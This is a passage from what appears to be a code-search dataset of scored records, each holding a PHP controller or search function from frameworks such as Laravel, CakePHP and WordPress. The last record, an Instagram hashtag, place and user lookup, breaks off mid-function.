$falloutDate);\n } else {\n $this->view->assign(\"falloutDate\", \"15.02.2017 11:20\");\n }\n if ($this->request->hasArgument('subject')) {\n $subject = $this->request->getArgument('subject');\n $this->view->assign(\"subject\", $subject);\n }\n\n }", "title": "" }, { "docid": "661858e4faa947cf6bd9205ef713dcdf", "score": "0.5663344", "text": "public function getSearch($request, $response)\n {\n $searchTypes = array('Artist', 'Album', 'Review');\n //check get values to make sure they are the right type or are not empty\n if ((!in_array($_GET['searchType'], $searchTypes) || $_GET['searchInput'] == null) ) {\n\n return $response->withRedirect($this->container->router->pathFor('home'));\n }\n if ($_GET['searchType'] == \"Artist\") {\n //get artist with requested name\n $artist = Artist::where('artist_name', ucfirst($_GET['searchInput']))->get();\n if (count($artist) != 0 ) {\n //if artist is not empty take user to artist page\n return $response->withRedirect($this->router->pathfor(\"artist.artist\") . \"?artist=\". $_GET['searchInput']);\n }\n $this->flash->addMessage('error', 'Artist \"' . $_GET['searchInput']. '\"' . ' does not exist');\n return $response->withRedirect($this->container->router->pathFor('home'));\n }\n\n if ($_GET['searchType'] == \"Album\") {\n //get the album\n $album = Album::where('album_name', ucfirst($_GET['searchInput']))->first();\n //get the artist that owns the album\n $artist = Artist::where('id', ucfirst($album->artist_id))->first();\n if (count($artist) != 0 ) {\n //if artist is not empty take user to artist page\n return $response->withRedirect($this->router->pathfor(\"artist.artist\") . \"?artist=\". $artist->artist_name);\n }\n $this->flash->addMessage('error', 'Album \"' . $_GET['searchInput']. '\"' . ' does not exist');\n return $response->withRedirect($this->container->router->pathFor('home'));\n }\n\n if ($_GET['searchType'] == \"Review\") {\n //get the album\n $album = Album::where('album_name', ucfirst($_GET['searchInput']))->first();\n //get the artist that owns the album\n $artist = Artist::where('id', ucfirst($album->artist_id))->first();\n if (count($artist) != 0 ) {\n //if artist is not empty take user to artist page\n return $response->withRedirect($this->router->pathfor(\"review\") . \"?artist=\". $artist->artist_name . \"&album=\" . $album->album_name);\n }\n $this->flash->addMessage('error', 'Review for the album \"' . $_GET['searchInput']. '\"' . ' does not exist');\n return $response->withRedirect($this->container->router->pathFor('home'));\n }\n //return $this->view->render($response, 'home.twig');\n }", "title": "" }, { "docid": "c36033df52096b3b9a50e87aeaa22f19", "score": "0.56412", "text": "public function searchCallback( WP_REST_Request $request ) {\n $parameters = $request->get_query_params();\n $arguments = $this->searchBuildArguments( $parameters );\n\n if ( $arguments[ \"s\" ] ) {\n $wpQuery = new WP_Query( $arguments );\n \n relevanssi_do_query( $wpQuery );\n\n if ( !empty( $wpQuery->posts ) ) {\n $posts = array_map( function( $post ) use ( $parameters ) {\n\n return $this->preparePostForResponse( $post, $parameters );\n }, $wpQuery->posts );\n $response = [\n \"success\" => true,\n \"results\" => $posts,\n \"meta\" => [\n \"filter\" => [],\n \"total\" => $wpQuery->found_posts,\n \"pages\" => $wpQuery->max_num_pages,\n \"current_page\" => $arguments[ \"paged\" ],\n \"per_page\" => $arguments[ \"posts_per_page\" ],\n \"s\" => $arguments[ \"s\" ],\n ]\n ];\n\n if ( isset( $arguments[ \"tax_query\" ] ) ) {\n $response[ \"meta\" ][ \"filter\" ][ \"category\" ] = $arguments[ \"tax_query\" ][ 0 ][ \"terms\" ];\n $response[ \"meta\" ][ \"filter\" ][ \"taxonomy\" ] = $arguments[ \"tax_query\" ][ 0 ][ \"taxonomy\" ];\n }\n if ( intval( $arguments[ \"paged\" ] ) < $wpQuery->max_num_pages ) {\n $response[ \"meta\" ][ \"next\" ] = $this->getSearchRequestUrl( $arguments, $parameters, \"next\" );\n }\n if ( intval( $arguments[ \"paged\" ] ) > 1 ) {\n $response[ \"meta\" ][ \"previous\" ] = $this->getSearchRequestUrl( $arguments, $parameters, \"previous\" );\n }\n \n return $this->response( $response );\n } else {\n \n return $this->response( [\n \"error\" => true,\n \"message\" => \"Nothing found\"\n ], 404 );\n }\n } else {\n\n return $this->response( [\n \"error\" => true,\n \"message\" => \"Empty search query\",\n ], 400 );\n }\n }", "title": "" }, { "docid": "9fdf9a95e7b7469ac2b583b32920b3de", "score": "0.56391126", "text": "public function onRun() {\n if (!trim(input('search'))) {\n return;\n }\n\n $this->prepareVars();\n\n return $this->prepareResults();\n }", "title": "" }, { "docid": "d61bfeeb60ebc75ea4c72798246db022", "score": "0.5634344", "text": "public function launch()\n {\n global $interface;\n global $configArray;\n global $user;\n\n if (isset($_REQUEST['delete']) && $_REQUEST['delete']) {\n $todo = '_deleteSearch';\n $searchId = $_REQUEST['delete'];\n }\n // If for some strange reason the user tries\n // to do both, just focus on the save.\n if (isset($_REQUEST['save']) && $_REQUEST['save']) {\n $todo = '_addSearch';\n $searchId = $_REQUEST['save'];\n }\n\n $search = new SearchEntry();\n $search->id = $searchId;\n if ($search->find(true)) {\n // Found, make sure this is a search from this user\n if ($search->session_id == session_id()\n || $search->user_id == $user->id\n ) {\n // Call whichever function is required below\n $this->$todo($search);\n }\n }\n \n // If we are in \"edit history\" mode, stay in Search History:\n if (isset($_REQUEST['mode']) && $_REQUEST['mode'] == 'history') {\n header(\"Location: \".$configArray['Site']['url'].\"/Search/History\");\n } else {\n // If the ID wasn't found, or some other error occurred, nothing will\n // have processed by now, let the error handling on the display\n // screen take care of it.\n header(\n \"Location: \" . $configArray['Site']['url'] .\n \"/Search/Results?saved=$searchId\"\n );\n }\n }", "title": "" }, { "docid": "991794453e9a10508086ff966123807e", "score": "0.56283855", "text": "public function search(Request $request){\n\n }", "title": "" }, { "docid": "249d396213952a4065750986ca8f87b1", "score": "0.56206435", "text": "public function search() {\n $search = preg_quote($_POST[\"search\"], '/');\n $posts = $this->manager('WiitManager', \"post\")->search($search);\n $finalPost = [];\n foreach ($posts as $key => $post) {\n array_push($finalPost, [\"post\" => $post, \"user\" => $this->getOneUser($post->getUserId())]);\n }\n $this->views('Wiit/index.php', [\n \"posts\" => $finalPost,\n \"sub\" => $this->getAllSub(),\n \"where\" => \"search: \".$_POST[\"search\"]\n ]);\n }", "title": "" }, { "docid": "a6d53117ecaae3702ef333fcc0c4bd95", "score": "0.5619532", "text": "public function RunSearch()\n\t{\n\t\t$to_search = array();\n\t\tif($this->user)\n\t\t\t$to_search[] = $this->user;\n\t\tif($this->hash)\n\t\t\t$to_search[] = $this->hash;\n\t\tif($this->contains)\n\t\t\t$to_search[] = $this->contains;\n\t\t\n\t\t$search = implode(' ', $to_search);\n\t\t\n\t\t$result = $this->Search($search, $this->geocode, $this->lang, $this->locale, $this->result_type, $this->count, $this->until, $this->since_id, $this->max_id, $this->include_entites, $this->callback);\n\t\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "6c944a9231f65820e9cf0f1c1a733130", "score": "0.56177604", "text": "public function search(Request $request){\n $section = Section::where('id',$request->section_id)->first();\n if(!GeneralController::hasPermissions($section,1)) {\n return \"invalid_permissions\";\n }\n $course = $section->course;\n\n $query = $request->search_query;\n //Search Threads\n $threadResults = Thread::search($query)->where('course_id',$course->id)->get();\n //Search Announcements\n $announcementResults = Announcement::search($query)->where('section_id',$section->id)->get();\n //Search Assignments\n $assignmentResults = Assignment::search($query)->where('section_id',$section->id)->get();\n\n $responseData = array(\n 'threads' => $threadResults,\n 'announcements' => $announcementResults,\n 'assignments' => $assignmentResults,\n );\n return $responseData;\n }", "title": "" }, { "docid": "b89a58f457fcbce9d6e31490ef3dd1dd", "score": "0.55892247", "text": "public function searchForSomething()\n {\n $this->search('something');\n }", "title": "" }, { "docid": "5ae08bd5fc69ccf35d96ede085b80eee", "score": "0.55863684", "text": "public function searchAction(){\n\t\t$req = $this -> getRequest();\n\t\tif ($req -> __isset('search2')){\n\t\t\t$this -> bikeNS -> bikeSearchParam = $req -> getParams();\t\t\t\n\t\t\t$this -> search2Action();\t\n\t\t}\n\t\telse if($req -> __isset('page')){\n\t\t\t$this -> search2Action();\n\t\t}\n\t\telse{\n\t\t\t$this -> search1Action();\n\t\t}\n\t}", "title": "" }, { "docid": "f7b2b571c4fa840be3cb3710a15ae3f5", "score": "0.55816376", "text": "public function requestSearch()\n\t{\n\t\t$from = $this->passedArgs['Search.from'];\n\t\t$to = $this->passedArgs['Search.to'];\n\t\tif (!empty($this->passedArgs['Search.minDate'])) {\n\t\t\t$minDate = join('-', array_slice($this->passedArgs['Search.minDate'], 0, 3));\n\t\t\t$minDateTime = $minDate . ' ' . join(':', array_slice($this->passedArgs['Search.minDate'], 3, 5)) . \":00\";\n\t\t}\n\t\tif (!empty($this->passedArgs['Search.maxDate'])) {\n\t\t\t$maxDate = join('-', array_slice($this->passedArgs['Search.maxDate'], 0, 3));\n\t\t\t$maxDateTime = $maxDate . ' ' . join(':', array_slice($this->passedArgs['Search.maxDate'], 3, 5)) . \":00\";\n\t\t}\n\n\t\t$requests = array();\n\n//\t\t\t$from = 'Wetzlar';\n//\t\t\t$to = 'Dortmund';\n\n\t\t//Location entry for start\n\t\t$from = $this->Location->find('first', array(\n\t\t\t'contain' => false,\n\t\t\t'conditions' => array(\n\t\t\t\t'Location.location' => $from,\n\t\t\t),\n\t\t));\n\n\t\t//Location entry for goal\n\t\t$to = $this->Location->find('first', array(\n\t\t\t'contain' => false,\n\t\t\t'conditions' => array(\n\t\t\t\t'Location.location' => $to,\n\t\t\t),\n\t\t));\n\n\t\tif(isset($to['Location']) && isset($from['Location'])) {\n\t\t\t//All Request with routes from start to goal\n\t\t\t$request_ids = $this->Request->RequestsRoute->find('list', array(\n\t\t\t\t'contain' => false,\n\t\t\t\t'fields' => array('RequestsRoute.request_id'),\n\t\t\t\t'group' => array('RequestsRoute.request_id HAVING MAX(RequestsRoute.order) > MIN(RequestsRoute.order)'),\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'RequestsRoute.location_id IN' => array($from['Location']['id'], $to['Location']['id']),\n\t\t\t\t),\n\t\t\t));\n\n\t\t\t//Requests to Display\n\t\t\t$requests = $this->Request->find('all', array(\n\t\t\t\t'contain' => array('RequestsRoute'),\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'AND' => array(\n\t\t\t\t\t\t'Request.id' => array_values($request_ids),\n\t\t\t\t\t\t'CONCAT(Request.drive_date, \" \", Request.drive_time) <=' => $maxDateTime,\n\t\t\t\t\t\t'CONCAT(Request.drive_date, \" \", Request.drive_time) >=' => $minDateTime,\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t));\n\t\t}\n\n\t\t$this->set('requests', $requests);\n\n\t\t/*\n\t\t * Render index-view of RequestController, as the display of the search results\n\t\t */\n\t\t$this->render('/Requests/index');\n\t}", "title": "" }, { "docid": "18ed11c78e6c5857da70d83056404c48", "score": "0.55781573", "text": "public function index(Request $request)\n {\n $keyword = $request->get('search');\n $perPage = 25;\n\n if (!empty($keyword)) {\n $tasks = Task::latest()->paginate($perPage);\n } else {\n $tasks = Task::latest()->paginate($perPage);\n }\n\n return view('task.index', compact('tasks'));\n }", "title": "" }, { "docid": "eba0417cdde741f5a94c17c0cb9ef500", "score": "0.5572896", "text": "public function search($query);", "title": "" }, { "docid": "d134cce96f1e665d32389377e54c8ccd", "score": "0.557031", "text": "public function search(){ \n\t\t$this->layout = false;\t \n\t\t$q = trim(Sanitize::escape($_GET['q']));\t\n\n\t\tif(!empty($q)){\n\t\t\t// execute only when the search keywork has value\t\t\n\t\t\t$this->set('keyword', $q);\n\t\t\t$options = array(\t\t\t\n\t\t\tarray('table' => 'app_users',\n\t\t\t\t\t'alias' => 'PROJ_LEAD',\t\t\t\t\t\n\t\t\t\t\t'type' => 'LEFT',\n\t\t\t\t\t'conditions' => array('`PROJ_LEAD`.`id` = `TskProjectRequest`.`project_leader`')\n\t\t\t\t)\n\t\t\t);\n\t\t\t$this->TskProjectRequest->virtualFields = array('full_name' => \"concat(PROJ_LEAD.first_name, ' ', PROJ_LEAD.last_name)\");\n\n\t\t\t$data = $this->TskProjectRequest->find('all', array('fields' => array('project_name','TskCustomer.company_name', 'full_name'), 'group' => array('project_name', 'TskCustomer.company_name','full_name'), 'conditions' => \t$conditions = array(\"OR\" => array ('project_name like' => '%'.$q.'%','TskCustomer.company_name like' => '%'.$q.'%', 'PROJ_LEAD.first_name like' => $q.'%' ), 'AND' => array('TskProjectRequest.is_deleted' => 'N')), 'joins' => $options));\t\t\n\t\t\t$this->set('results', $data);\n\t\t}\n }", "title": "" }, { "docid": "ebc56c6c703ef7bfb62ad708a570ff81", "score": "0.5568856", "text": "public function search($searchQuery);", "title": "" }, { "docid": "0f202b9ada5444146ee1c38c7eb5b742", "score": "0.5560816", "text": "public function doSearchRentings( Request $req )\n {\n $req->validate(['renting-accepted' => 'required']);\n\n $post = $req->all() ;\n\n $rentingBeginDate = isset($post['renting-begin-date']) ? $post['renting-begin-date'] : null ;\n $rentingBeginTime = isset($post['renting-begin-time']) ? $post['renting-begin-time'] : null ;\n $rentingEndDate = isset($post['renting-end-date']) ? $post['renting-end-date'] : null ;\n $rentingEndTime = isset($post['renting-end-time']) ? $post['renting-end-time'] : null ;\n $rentingAccepted = $post['renting-accepted']=='on' ? true : false;\n\n $carBusiness = new CarBusiness( );\n $searchResult = $carBusiness->searchRentings( $rentingBeginDate , $rentingBeginTime ,\n $rentingEndDate , $rentingEndTime,$rentingAccepted );\n\n $adminBusiness = new AdminBusiness();\n $adminBusiness->storeRentingSearchData( $searchResult );\n\n $adminBreadcrumbs = new AdminBreadcrumb();\n return $adminBreadcrumbs->redirectLast(route('adminRentings'));\n }", "title": "" }, { "docid": "3e41f0ebb3b86f4eebd21439b65e2397", "score": "0.5557964", "text": "public function executeSearch(sfWebRequest $request)\n {\n return aBlogToolkit::searchBody($this, '@a_event_search_redirect', 'aEvent', null, $request);\n }", "title": "" }, { "docid": "997d101aaa44cff179c2ea9924cc8e41", "score": "0.55488974", "text": "public function searchAction()\n {\n \n $searchResult = new SiteResultProvider();\n\n $count = $searchResult->getNumResults($_GET['term']);\n $siteResult = $searchResult->getResultHtml(1, 2, $_GET['term']);\n\n View::render('Home/SiteSearch.php',[\n 'count'=>$count,\n 'sites'=>$siteResult,\n 'searchTerm'=>$_GET['term']\n ]);\n \n // echo $_GET['term'] .\" : \".__LINE__;\n\n \n\n\n }", "title": "" }, { "docid": "1204e85b79443eecb5c3f1b3c9c3c528", "score": "0.5548048", "text": "public function search(Request $request) : Collection;", "title": "" }, { "docid": "d69a497ed793d8a92cf77a437f81fab0", "score": "0.55359006", "text": "public function search(Request $request)\n {\n\n switch ($request->keyword) {\n case 'universities': // DONE\n $university = University::apiSearch($request->name, $request->major, $request->country, $request->state, $request->district, $request->user_id);\n\n return UniversityResource::collection($university->paginate(15))->toResponse(15);\n break;\n\n case 'faculties': // DONE\n $universityFaculties = UniversityFaculties::apiSearch($request->name, $request->major, $request->university, $request->country, $request->state, $request->district);\n\n return UniversityFacultiesResource::collection($universityFaculties->paginate(15))->toResponse(15);\n break;\n\n case 'placetolive': // DONE\n $placeToLive = PlaceToLive::apiSearch($request->name, $request->country, $request->state, $request->district, $request->user_id);\n\n return PlaceToLiveResource::collection($placeToLive->paginate(15))->toResponse(15);\n break;\n\n case 'vendors': // DONE\n $vendor = Vendor::apiSearch($request->name, $request->category, $request->country, $request->state, $request->district, $request->user_id);\n\n return VendorResource::collection($vendor->paginate(15))->toResponse(15);\n break;\n\n case 'vendorservices': // DONE\n $vendorService = VendorService::apiSearch($request->name, $request->vendor, $request->country, $request->state, $request->district, $request->user_id);\n\n return VendorServiceResource::collection($vendorService->paginate(15))->toResponse(15);\n break;\n\n case 'scholarship':\n $universityScholarship = UniversityScholarship::apiSearch($request->name, $request->university, $request->country, $request->state, $request->district, $request->user_id);\n\n return UniversityScholarshipResource::collection($universityScholarship->paginate(15))->toResponse(15);\n break;\n\n case 'articles':\n $article = Article::apiSearch($request->name, $request->slug);\n\n return ArticleResource::collection($article->paginate(15))->toResponse(15);\n break;\n\n default: // University Major // DONE\n $universityMajors = UniversityMajor::apiSearch($request->name, $request->university, $request->country, $request->state, $request->district, $request->user_id, $request->level);\n\n return UniversityMajorResource::collection($universityMajors->paginate(15))->toResponse(15);\n break;\n }\n }", "title": "" }, { "docid": "b213dfdda053ab11df2f5d87c869fd36", "score": "0.5519355", "text": "public function searchAction()\n\t{\n\t\t$server = new Zend_Rest_Server();\n\t\t$server->setClass('Api_Model_SearchProxy');\n\t\t$server->handle();\n\t}", "title": "" }, { "docid": "1eb6c45e2336f14585af5cfcbc2e9e93", "score": "0.5514185", "text": "abstract protected function handleRequest();", "title": "" }, { "docid": "43c781016b9d6dd65ec6d097e8bd0049", "score": "0.5512544", "text": "public function searchResult(Request $request)\n {\n $filters = $request->request->all();\n\n //Remove Empty Fields And Auth Token From Filters Array\n foreach ($filters as $key => $value) {\n if ($key == \"_token\" || $value == \"\") {\n unset($filters[$key]);\n }\n }\n //Return the Result of the Search to the Controller\n return $this->ActiveRepository->search($filters);\n }", "title": "" }, { "docid": "5204f86a08d210f8b9e49703fc9de9b3", "score": "0.5510153", "text": "public function search(Request $request)\n {\n try{\n\n $job_seekers = $this->jobChoiceService->job_seeker()->jobSeekerSearch($request);\n if (count($job_seekers) > 0) {\n $job_seekers = $this->jobChoiceService->applied_job()->appendCountAppliedJobs($job_seekers);\n $job_seekers = $this->jobChoiceService->shared_job()->appendCountSharedJobs($job_seekers);\n }\n $this->data['results']['job_seekers'] = $job_seekers;\n\n $this->data['status'] = 200;\n\n } catch (\\Exception $e) {\n $this->data['error'] = $e->getMessage();\n }\n\n return response()->json($this->data, $this->data['status']);\n }", "title": "" }, { "docid": "8b65e9d5a7490c8a99e2bd53daaa14d9", "score": "0.55087674", "text": "public function SearchAndAvailabilityRequest(Request $request, $search_id)\n {\n $reservation_search_log = ReservationSearchLog::findorFail($search_id);\n $search_params = unserialize($reservation_search_log->params);\n\n\n $location_type = explode(\"!\", $search_params['location']);\n\n switch ($location_type[0]) {\n case 'C': // if search by city\n $hotels_search_resp = GnrHotel::where('city_code', $search_params['location'])->get();\n\n $hoteIDs = [];\n foreach ($hotels_search_resp as $hotel) {\n $hoteIDs[] = $hotel['hotel_code'];\n }\n break;\n case 'G': // if search by Area Code\n $area_cities = GnrAreaCodeMap::where('area_code', $search_params['location'])->get();\n $cities = [];\n foreach ($area_cities as $area_city) {\n $cities[] = $area_city['city_code'];\n }\n\n $hotels_search_resp = GnrHotel::whereIn('city_code', $cities)->get();\n\n $hoteIDs = [];\n foreach ($hotels_search_resp as $hotel) {\n $hoteIDs[] = $hotel['hotel_code'];\n }\n break;\n case 'H':\n $hoteIDs[] = $search_params['location'];\n break;\n\n default:\n # code...\n break;\n }\n\n\n $hotel_codes_array = array_chunk($hoteIDs, 250);\n $hotels_result = [];\n $final_result = ['result' => \"OK\"];\n\n\n // SEND parallel request to GRN CONNECT\n foreach ($hotel_codes_array as $hotel_codes) {\n\n $hotels_result = App('App\\Http\\Controllers\\B2B\\GnrController')\n ->hotelsAvailability(\n $hotel_codes,\n $search_params['checkin'],\n $search_params['checkout'],\n 'USD',\n $search_params['client_nationality'],\n $search_params['rooms'],\n 'concise',\n $reservation_search_log->id\n );\n\n if (isset($hotels_result['hotels'][0])) {\n\n foreach ($hotels_result['hotels'] as $hotel) {\n\n $hotel_search_result = [\n \"checkin\" => $hotels_result['checkin'],\n \"checkout\" => $hotels_result['checkout'],\n \"no_of_adults\" => $hotels_result['no_of_adults'],\n \"no_of_nights\" => $hotels_result['no_of_nights'],\n \"no_of_rooms\" => $hotels_result['no_of_rooms'],\n \"hotel_search_id\" => $hotels_result['search_id'],\n \"hotel_address\" => $hotel['address'],\n \"hotel_category\" => @$hotel['category'],\n \"hotel_city_code\" => $hotel['city_code'],\n \"hotel_country\" => $hotel['country'],\n \"hotel_description\" => $hotel['description'],\n \"hotel_facilities\" => @$hotel['facilities'],\n \"hotel_geolocation\" => $hotel['geolocation'],\n \"hotel_code\" => $hotel['hotel_code'],\n \"hotel_images\" => @$hotel['images'],\n \"hotel_min_rate\" => $hotel['min_rate'],\n \"hotel_name\" => $hotel['name'],\n \"hotel_safe2stay\" => @$hotel['safe2stay'],\n \"search_id\" => $search_id\n ];\n\n ReservationSearchResult::create($hotel_search_result);\n }\n }\n }\n return response()->json($final_result);\n }", "title": "" }, { "docid": "3a823aeb2a4ce54ba9f62b38c28d1c53", "score": "0.5497515", "text": "public function searchProcess()\n{\n $index = request('searchIndex');\n $instance = new singers;\n $search = $instance->search($index)->get();\n return view('search2',compact('search'));\n}", "title": "" }, { "docid": "b2c34cb5f9e0ec34ab1e5a9fad03ed71", "score": "0.5486104", "text": "public function handle()\n {\n if( isset($_GET['company']) && isset($_GET['action']) && $_GET['action'] == 'run_company_scan') {\n $websites = Websites::all()->where('id', intval($_GET['company']));\n } else {\n $websites = Websites::all()->where('active', 1);\n }\n $this->line('Data Scan started');\n Log::info('Data Scan Started');\n\n // $websites = Websites::all()->where('id', 1);\n\n foreach ($websites as $i => $website) {\n dispatch(new DataScan($website));\n }\n\n $this->line('Data Scan scheduled');\n Log::info('Data Scan scheduled');\n }", "title": "" }, { "docid": "dde309076ba2304b4479a46df4c40e31", "score": "0.5477743", "text": "abstract public function search();", "title": "" }, { "docid": "32bc4ed6946b75b3be1fb02e8f054ee9", "score": "0.5472156", "text": "public function handleRequest(){\n\t\t$task = $_GET['task'];\n\t\t\n\t\tif($task == 'login'){\n\t\t\t$success = User::authenticate($_POST['username'], $_POST['pass']);\n\t\t\tif($success['valid']){\n\t\t\t\theader('LOCATION: /');\n\t\t\t} else {\n\t\t\t\t// failed login. re-render login page with reason (msg)\n\t\t\t\trender('login', array(\n\t\t\t\t\t'title'\t\t=> 'Login to CDU Explorer',\n\t\t\t\t\t'msg'\t\t=> $success['msg'],\n\t\t\t\t\t'task'\t\t=> $task\n\t\t\t\t));\n\t\t\t}\n\t\t} else {\n\t\t\t// if any other task is specified, render login page\n\t\t\trender('login', array(\n\t\t\t\t'title'\t\t=> 'Login to CDU Explorer',\n\t\t\t\t'task'\t\t=> $task,\n\t\t\t\t'header'\t=> 'none',\n\t\t\t\t'id'\t\t=> 'login'\n\t\t\t));\n\t\t}\n\t}", "title": "" }, { "docid": "bf10cae39ba1a387a3f131203096068c", "score": "0.5464838", "text": "public /*String*/ function handleRequest() { \n\n\t\tparent::handleRequest();\r\n\t\t\r\n\t\t// Retrieve all the user's projects\r\n\t\t$search = new Partnership();\n\t\t// TODO FIX : use fake user for now\r\n\t\t// $search->publisher = $_SESSION['user']->id;\n\t\t$search->publisher = \"FAKE_USER_ID\";\n\t\t// END TODO FIX : use fake user for now\r\n\t\t$this->result = $search->find();\r\n\t\t\n\t\t// Render MyPublicationView\r\n\t\t$this->renderView(\"MyPublication\");\n\t\t\n\t}", "title": "" }, { "docid": "cee70d0d64dc4379a690731cec100d8a", "score": "0.5457741", "text": "public function action_index() {\n\t\t$key = $this->request->param('key');\n\t\t$terms = Arr::get($_POST, 'terms', Arr::get($_GET, 'q', ''));\n\t\t$search = OModel::factory('Search');\n\t\tif ($key === null && $this->request->is_ajax()) {\n\t\t\t$response = $search->quick_search($terms);\n\n\t\t\t// Error?\n\t\t\t$items = array();\n\t\t\t$view_all = '';\n\t\t\tif ($response['result'] == 'success') {\n\t\t\t\t$items = $response['response']['items'];\n\t\t\t\t$view_all = URL::site('search?q='.urlencode($response['response']['terms']));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$items = $response['response'];\n\t\t\t}\n\n\t\t\t$this->template->response = array(\n\t\t\t\t'html' => View::factory('search/ajax/results', array(\n\t\t\t\t\t'result' => $response['result'],\n\t\t\t\t\t'items' => $items,\n\t\t\t\t\t'view_all' => $view_all\n\t\t\t\t))->render(),\n\t\t\t\t'key' => Arr::get($_POST, 'key')\n\t\t\t);\n\t\t}\n\t\telse {\n\t\t\tif (Arr::get($_GET, 'q')) {\n\t\t\t\t$_POST['terms'] = Arr::get($_GET, 'q');\n\t\t\t}\n\n\t\t\tif (Arr::get($_POST, 'search')) {\n\t\t\t\t$search->fields_init();\n\t\t\t\t$search->set_field_values();\n\t\t\t\t$fields = $search->fieldgroup('global');\n\t\t\t\tif ($fields === false) {\n\t\t\t\t\t$this->request->redirect('search');\n\t\t\t\t}\n\n\t\t\t\t$key = $search->search_fields($fields);\n\t\t\t\t$uri = 'search/'.$key;\n\t\t\t\t$this->request->redirect($uri);\n\t\t\t}\n\n\t\t\t// Favorite\n\t\t\t$title = 'Search';\n\t\t\t$this->favorites->title($title);\n\n\t\t\t$grid = $this->action_grid();\n\t\t\t$this->template->set(array(\n\t\t\t\t'title' => $title,\n\t\t\t\t'content' => View::factory('search/global', $grid)\n\t\t\t));\n\t\t}\n\t}", "title": "" }, { "docid": "af8bd4dab6c83f9c83bb2e95aa1c7ffb", "score": "0.54533386", "text": "protected function remoteSearch()\n\t{\n\t\t$_POST['query'] = $_POST['queryString'];\n\t\t$this->search_cache->setRoot((int) $_POST['root_id']);\n\t\t$this->search_cache->setQuery(ilUtil::stripSlashes($_POST['queryString']));\n\t\t$this->search_cache->save();\n\t\t\n\t\t$this->search();\n\t}", "title": "" }, { "docid": "716d3f7ae358261f89e8662947684a0b", "score": "0.54528946", "text": "private function search()\n {\n $this->resp->result = 0;\n $AuthUser = $this->getVariable(\"AuthUser\");\n $Account = $this->getVariable(\"Account\");\n\n $query = \\Input::request(\"q\");\n if (!$query) {\n $this->resp->msg = __(\"Missing some of required data.\");\n $this->jsonecho();\n }\n\n $type = \\Input::request(\"type\");\n if (!in_array($type, [\"hashtag\", \"location\", \"people\"])) {\n $this->resp->msg = __(\"Invalid parameter\");\n $this->jsonecho(); \n }\n \n //start: direct ig search\n try {\n $q = urlencode($query);\n if($type == \"hashtag\") {\n $url = \"https://www.instagram.com/web/search/topsearch/?context=hashtag&query={$q}\";\n$curl = curl_init();\n\n $s = array(\n CURLOPT_URL => $url,\n CURLOPT_REFERER => \"https://google.com\",\n CURLOPT_SSL_VERIFYPEER => false,\n CURLOPT_USERAGENT => \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",\n CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,\n );\n\n curl_setopt_array($curl, $s);\n $response = curl_exec($curl);\n curl_close($curl);\n $items = @json_decode($response);\n if(isset($items->hashtags) && $items->hashtags) {\n foreach ($items->hashtags as $r) {\n $mediaCount = readableNumber($r->hashtag->media_count);\n $this->resp->items[] = [\n \"value\" => $r->hashtag->name,\n \"data\" => [\n \"img\" => PLUGINS_URL.\"/\".self::IDNAME.\"/assets/img/hashtag-pesq.jpg\",\n \"sub\" => n__(\"%s public post\", \"%s public posts\", $mediaCount, $mediaCount),\n \"id\" => str_replace(\"#\", \"\", $r->hashtag->name)\n ]\n ];\n }\n\n $this->resp->result = 1;\n $this->jsonecho();\n return;\n }\n \n } elseif($type == \"location\") {\n$url = \"https://www.instagram.com/web/search/topsearch/?context=place&query={$q}\";\n$curl = curl_init();\n\n $s = array(\n CURLOPT_URL => $url,\n CURLOPT_REFERER => \"https://google.com\",\n CURLOPT_SSL_VERIFYPEER => false,\n CURLOPT_USERAGENT => \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",\n CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,\n );\n\n curl_setopt_array($curl, $s);\n $response = curl_exec($curl);\n curl_close($curl);\n $items = @json_decode($response);\n if(isset($items->places) && $items->places) {\n foreach ($items->places as $r) {\n $address = \"\";\n if (!empty($r->place->location->address)) {\n $address = $r->place->location->address;\n if (!empty($r->place->location->city)) {\n $address .= ', '.$r->place->location->city;\n }\n }\n $this->resp->items[] = [\n \"value\" => $r->place->location->name,\n \"data\" => [\n \"img\" => PLUGINS_URL.\"/\".self::IDNAME.\"/assets/img/location-pesq.jpg\",\n \"sub\" => $address,\n \"id\" => $r->place->location->facebook_places_id\n ]\n ];\n }\n\n $this->resp->result = 1;\n $this->jsonecho();\n return;\n }\n \n } elseif ($type == \"people\") {\n $url = \"https://www.instagram.com/web/search/topsearch/?context=user&query={$q}\";\n $curl = curl_init();\n\n $s = array(\n CURLOPT_URL => $url,\n CURLOPT_REFERER => \"https://google.com\",\n CURLOPT_SSL_VERIFYPEER => false,\n CURLOPT_USERAGENT => \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",\n CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,\n );\n\n curl_setopt_array($curl, $s);\n $response = curl_exec($curl);\n curl_close($curl);\n $items = @json_decode($response);\n if(isset($items->users) && $items->users) {\n foreach ($items->users as $r) {\n $followersCount = readableNumber($r->user->follower_count);\n if (empty($r->user->full_name)) {\n $name = $followersCount.__(\" followers\");\n } else {\n $name = $r->user->full_name.\" - \".$followersCount.__(\" followers\");\n }\n $this->resp->items[] = [\n \"value\" => $r->user->username,\n \"data\" => [\n \"img\" => $r->user->profile_pic_url,\n \"sub\" => $name,\n \"id\" => $r->user->pk\n ]\n ];\n }\n\n $this->resp->result = 1;\n $this->jsonecho();\n return;\n }\n }\n } catch(\\Exception $e) {\n $this->resp->exception = $e->getMessage();\n }\n //end: direct ig search\n\n // Login\n try {\n $Instagram = \\InstagramController::login($Account);\n } catch (\\Exception $e) {\n $this->resp->login_required = 1;\n $this->resp->msg = __(\"We could not connect to Instagram. Please log in again from your account.\");\n $this->resp->title = __(\"Login again!\"); \n $this->resp->links = [\n [\n \"name\" => \"ok\",\n \"label\" => __(\"Login\"),\n \"uri\" => APPURL.\"/accounts/\".$Account->get('id')\n ]\n ];\n $this->jsonecho(); 